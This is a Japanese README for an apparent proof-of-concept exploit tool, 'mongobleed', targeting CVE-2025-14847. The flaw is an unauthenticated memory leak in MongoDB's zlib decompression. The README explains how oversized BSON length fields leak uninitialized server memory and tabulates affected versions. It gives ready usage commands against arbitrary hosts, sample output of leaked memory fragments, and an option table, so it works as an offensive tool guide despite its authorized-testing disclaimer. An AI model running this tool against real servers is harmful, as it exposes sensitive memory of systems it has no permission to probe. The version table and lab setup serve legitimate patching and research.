
CVE-2025-14847の概念実証エクスプロイト。MongoDBのzlib decompression脆弱性で、巧妙に細工されたBSONドキュメントを介して初期化されていないサーバーメモリを漏洩させます。
CVE-2025-14847 - MongoDB 未認証メモリ漏えいエクスプロイト
MongoDB の zlib 圧縮解除の脆弱性に対する概念実証エクスプロイトで、未認証の攻撃者がサーバーの機密メモリを漏えいできるようにします。
MongoDB の zlib メッセージ圧縮解除の欠陥により、実際の圧縮解除データ長ではなく、割り当てられたバッファサイズが返されます。これにより、攻撃者は以下の方法で未初期化メモリを読み取ることができます。
uncompressedSize を指定して送信する| バージョン | 影響を受ける | 修正 |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
脆弱な MongoDB インスタンスを起動するための Docker Compose ファイルが含まれています:
docker-compose up -d
python3 mongobleed.py
このエクスプロイトは、長さフィールドを過大に設定した BSON ドキュメントを作成します。サーバーがこれらのドキュメントを解析するとき、NULL バイトに到達するまで未初期化メモリからフィールド名を読み取ります。異なるオフセットでプローブするたびに、異なるメモリ領域が漏えいする可能性があります。
漏えいする可能性のあるデータには、以下が含まれます:
/proc データ(meminfo、ネットワーク統計)Joe Desimone - x.com/dez_
このツールは、許可されたセキュリティテストのみを対象としています。コンピュータシステムへの不正アクセスは違法です。
| オプション | デフォルト | 説明 |
|---|
--host | localhost | 対象の MongoDB ホスト |
--port | 27017 | 対象の MongoDB ポート |
--min-offset | 20 | プローブするドキュメントの最小長 |
--max-offset | 8192 | プローブするドキュメントの最大長 |
--output | leaked.bin | 漏えいデータの出力ファイル |